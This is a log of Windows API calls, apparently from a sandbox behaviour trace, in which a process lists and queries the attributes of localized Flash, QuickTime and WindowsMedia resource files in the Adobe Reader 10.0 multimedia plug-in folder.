	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SUO", cAlternateFileName="QUICKT~1.SUO")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SVE", cAlternateFileName="QUICKT~1.SVE")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CAT", cAlternateFileName="WINDOW~1.CAT")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHS", cAlternateFileName="WINDOW~1.CHS")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHT", cAlternateFileName="WINDOW~1.CHT")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DAN", cAlternateFileName="WINDOW~1.DAN")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DEU", cAlternateFileName="WINDOW~1.DEU")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ESP", cAlternateFileName="WINDOW~1.ESP")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.EUQ", cAlternateFileName="WINDOW~1.EUQ")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.FRA", cAlternateFileName="WINDOW~1.FRA")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ITA", cAlternateFileName="WINDOW~1.ITA")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.JPN", cAlternateFileName="WINDOW~1.JPN")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.KOR", cAlternateFileName="WINDOW~1.KOR")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NLD", cAlternateFileName="WINDOW~1.NLD")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NOR", cAlternateFileName="WINDOW~1.NOR")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.PTB", cAlternateFileName="WINDOW~1.PTB")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SUO", cAlternateFileName="WINDOW~1.SUO")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="WINDOW~1.SVE")) returned 1
	[0054.462] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.462] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.chs"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cht"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.dan"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.deu"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.esp"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.euq"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.fra"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ita"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.jpn"), fInfoLevelId=0x0, lpFileInformation=0x123fcb98 | out: lpFileInformation=0x123fcb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.kor"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nld"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6b1000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nor"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ptb"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.sve"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800)) returned 1
	[0054.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.chs"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0054.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cht"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0054.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ptb"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
